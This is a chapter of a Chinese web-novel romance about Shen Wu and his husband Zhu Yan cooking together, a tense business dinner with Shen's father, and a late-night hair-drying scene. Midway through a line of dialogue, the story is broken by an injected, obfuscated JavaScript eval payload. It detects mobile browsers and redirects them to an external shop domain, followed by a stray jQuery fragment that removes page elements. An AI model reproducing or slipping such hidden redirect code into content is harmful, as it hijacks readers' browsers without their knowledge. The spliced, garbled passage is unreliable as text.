听到汽车引擎声时,沈梧从沙发上滚起来。
他来不及找鞋子,光着脚丫跑到玄关,门在下一刻被推开,祝延走进来。
“祝先生回来啦!”
祝延对他点头:“心情不错?”
他抿嘴笑了笑回:“嗯,我刚刚在玩游戏呢。”
他说完像往常一样在一旁等待祝延脱下外套递给他。
但祝延却没脱下外套,先向他倾身过来。
他立刻意会踮起脚,伸手抱住了祝延的腰。
短暂的拥抱过后,他一转头,一个蛋糕坠入眼帘。
“你买了柠檬蛋糕!”
祝延嗯一声,揉了揉他的脑袋说:“我马上去做饭。”
“好~”
沈梧一手拎着蛋糕,一手抱住祝延的外套,脚步刚抬起来就被拦下了。
祝延像才注意到他光着脚问:“怎么不穿鞋子?”
“...我的拖鞋失踪了。”
之后他乖乖穿好祝延从鞋柜里拿出来的新拖鞋才被放走。
他在沙发上拆了蛋糕,刮了一勺蛋糕送进嘴里,之后拿出一个新勺子挖了一勺蛋糕往厨房去。
祝延已经挽起袖子在拆今天新买的围腰。
他走上去将蛋糕递过去,“你要尝尝吗?柠檬味的。”
他见祝延低眸看了一眼,连忙解释:“这个勺子是新换的”
“这个倒没关系。谢谢。”祝延就着他的手将蛋糕吃下,忽然眉毛一挑,“味道很好啊。”
沈梧见他喜欢,自己也跟着高兴。
他跑大厅去将勺子放好,回来发现祝延已经在穿戴围腰。
“要帮忙吗?”
虽然祝延看上去应该能自己系好围腰,但他想帮点忙。
还好祝延同意了,转身过来让他帮忙将抽带系上。
不过之后他提出要在厨房里帮忙洗菜或洗点别的什么东西,祝延很快就拒绝了他。
他只好遗憾离场,回到沙发上继续看社会新闻。
但十分钟后他就关掉了电视。
要是平时阿姨一个人在厨房给他做晚饭,他还能坐得心安理得一些。
但现在让祝延一个人准备晚饭,他总感觉自己不帮忙做点什么就像在偷懒。
沈梧想着伸出脑袋往厨房的方向看去,祝延的身影在灶台前移动。
等回过神来时,他已经抓上一包苹果干来到厨房门口。
不过,因为祝延拒绝过他在厨房里帮忙,所以他就在门口站着,一步也没越线。
祝延转身找调料时发现了他,对他露出了笑问:“饿了吗?”
“还不饿。”
等过了一会,祝延将调料放回来,发现他还在原地站着,问:“怎么了是?”
“我发现了很好吃的苹果干。”他说着揪出了一块苹果干向祝延展示。
祝延似乎是发现了他离得太远,提醒:“你可以进来。”
沈梧哦一声,快速进去把苹果干喂给祝延,之后又疾步出厨房。
“味道怎么样?”
“很好。”
祝延洗锅时抽空看了他一眼,发现他依然目不转睛盯着自己,“真不是饿了?”
沈梧摇头,犹豫了一会,还是决定开口:“如果让你一个人准备晚餐的话,我心里过意不去,我感觉自己在偷懒。”
他一口气说出了心里的想法,提心盯着祝延的反应。
沈梧不是会死缠烂打的人,别人拒绝过他一次,他就会收敛,他也不知道今天自己是怎么了。
祝延凝着脸认真思索了一番,洗了手向他走来,解释说:“我想着中午的时候答应给你做饭就不该让你帮忙,但没想到你把准备晚餐当成了我们的共同任务。”
沈梧一愣,挠了挠脸颊,“也,也有可能是我说错了。”
“你没有说错。”
祝延将他拉进厨房里,边给他系着围腰边说:“以后心里有什么不舒服的都说出来,像刚刚那样,你做的很好。”
没挨骂反而被夸了,沈梧眨眨眼,感觉鼻子酸酸的,压着声音回:“我知道了。”
他低头忽然瞥到了身上和祝延同款的围腰。
围腰和他的头发是一样的棕色,肚子中间有个大口袋。
“原来买了两件围腰吗?”
祝延说:“对,看见旁边有个小一点的就顺手拿了。”
“哦哦。”
沈梧穿好围腰之后,守起了调料台,按照祝延的需求,找到对应的调料瓶递给祝延。
虽然是第一次合作做饭,但配合起来意外的合拍,用了半个小时就将四菜一汤的晚饭做好了。
祝延的厨艺很好,一点也不输外面酒楼厨师的厨艺,这都是当初去D国之前,跟着家里的几个厨师苦练了三个月的结果。
他们吃完饭之后,在客厅看了没半个小时的社会新闻,祝延家里的长辈打来电话,说是临时有个饭局。
祝延才刚吃完饭,不过这个饭局他不得不去。
-
饭局上四个人,祝延的小叔祝及,公司里的两个高管,还有一个是沈文拣。
组织这顿饭的目的很明显,是奔着要在浮青市度假区的开发项目上分一杯羹来的。
祝延推开门进来后,几人起身向他问好。
祝延和平常一样脸上挂着温和的笑容,他在祝及和沈文拣中间坐下来,主动提了话题和沈文拣聊了几句。
一顿饭下来交谈甚欢,一起碰杯过后,沈文拣终于聊起了浮青市的项目。
他的意思非常明确奔着度假区的商业街去的。
不过祝延的态度让人难以琢磨,沈文拣聊着搬出了沈家和祝家的婚姻关系。
祝延转着桌上的杯子,侧过头,目光落在他脸上,开口:“沈总应该清楚,对我来说生意上的利益远大于情分。”
沈文拣当然清楚,不止他,整个商界谁人不清楚这位祝家新的掌权人眼里的利益高于一切?
他被祝延下了面子也只好笑一声,想缓和气氛,擅自举起酒杯要碰祝延的杯子。
祝延轻抬了一下手腕,凑过来的杯口撞上了他的婚戒发出一声脆响。
祝延的声音不温不热说:“沈总,我开车不喝酒。”
......
直到饭局结束,沈文拣也没能从祝延口中问出一丝可靠的信息。
祝延和祝及一起离开,两人在走廊上走着。
祝及虽是祝延的小叔,却也只比祝延大个三四岁,也是祝家里和祝延最合得来的长辈。
他揽着祝延的肩膀拍了拍,松开说:“沈文拣毕竟是你岳父。”
祝延松了松领带说:“他没有这个能力,他手里的公司要死不活地吊着一口气,要不是有沈家撑着,早该被市场淘汰了。”
祝及:“反正给他单独拎出一条商业街,他是挣钱还是赔钱和我们的关系不大,况且还是亲家呢,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906840|213045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没必要搞太难看。”
祝延闻言蹙眉问:“有挣钱的机会我为什么不交给会挣钱的人?”
祝及被他的话一噎,随后低头笑了一声,“也是。”
祝及笑着提醒他另一件事:“浮青市的项目在下个月初能开工,虽然说你把项目交到汪伯伯手上,但开工仪式上你这个懂事长得到场,至少也讨个吉利。”
祝延点头问:“三天?”
“对,至少去三天,你得提前和家里的先生说了啊。”祝及操心说:“你这全天都扑在工作上,家里的先生没意见啊?”
祝延回:“多操心自己的事儿,爷爷不是让你和姜家的儿子接触?”
“难啊。”祝及吹嘘:“我要真跟姜家的儿子结婚了迟早得离,咱这百年大家庭可没一个离婚的先例啊,可别被我这个养子给打破了。
“哎,你这要是没坚持到三年就离婚了,或是三年之后离婚了,到时候打算怎么办?”
祝延笑一声问:“你巴不得我离婚是吧?”
“怎么能这么说呢。”祝及拍了拍他的肩膀问:“话说,你对你的婚姻有几成把握?”
祝延想也不想,脱口而出:“九成。”
祝及哟一声:“你这,我以为十成呢。”
祝延默了默,开口:“这段婚姻能走多远,得看我先生的意思。”
祝及建议:“你这态度不温不火的,我看难成,你得拿出热情啊!”
“我这叫细水长流。”
“得。”
祝延和祝及分别后,已经是晚上九点半,这个时间沈梧多半睡觉了。
不过他猜错了,回到家时大厅里还灯火通明。
沈梧刚洗完澡缩着脚躺在沙发上看动画片,他看得入迷以至于被门突然打开的声音吓了一跳。
他从沙发里伸出脑袋,看清在玄关换鞋的祝延,连忙躺了回去。
现在要跑已经来不及了,他将遥控器放到桌子上,翻了个身趴着假装自己已经睡着。
祝延从玄关走来只用一秒就看破了他的伪装。
祝延走过去摇了摇他的手臂问:“怎么又不吹头发?”
自从上次隔离贴过敏,沈梧几次没吹头发去找祝延涂药,被教训了几句后,老老实实答应祝延以后自己一定会吹头发。
没想到今天只是下楼看个动画片就被发现了。
沈梧翻了个身,小心翼翼把脸上的头发捋开。
看见祝延脸上的神情并不严肃,于是小声狡辩:“是沙发弄湿了我的头发。”
为了告诉沈梧不吹头发这件事情的严重性,祝延听到他的解释后忍住了没笑出来。
他在沈梧腿边坐下,边解开领带,边说:“上楼去把吹风机拿来,我帮你吹。”
沈梧哦一声爬起来,找到拖鞋穿好,立刻上楼将吹风机拿了下来。
他等祝延喝完水才将吹风机递给他。
祝延让他乖乖坐到沙发上,自己则站着给他吹。
已经不是第一次给沈梧吹头发,他记得让沈梧舒服的温度。
干燥的指尖插进湿漉漉的发间搓了搓,祝延说:“不吹干头发就睡觉会头痛。”
“我知道了祝先生。”
“真的知道了?”
“……是真的。”
祝延并不相信,并且已经在心里提前做准备。
如果他们的婚姻顺利的话,
他大概会给沈梧吹很久的头发。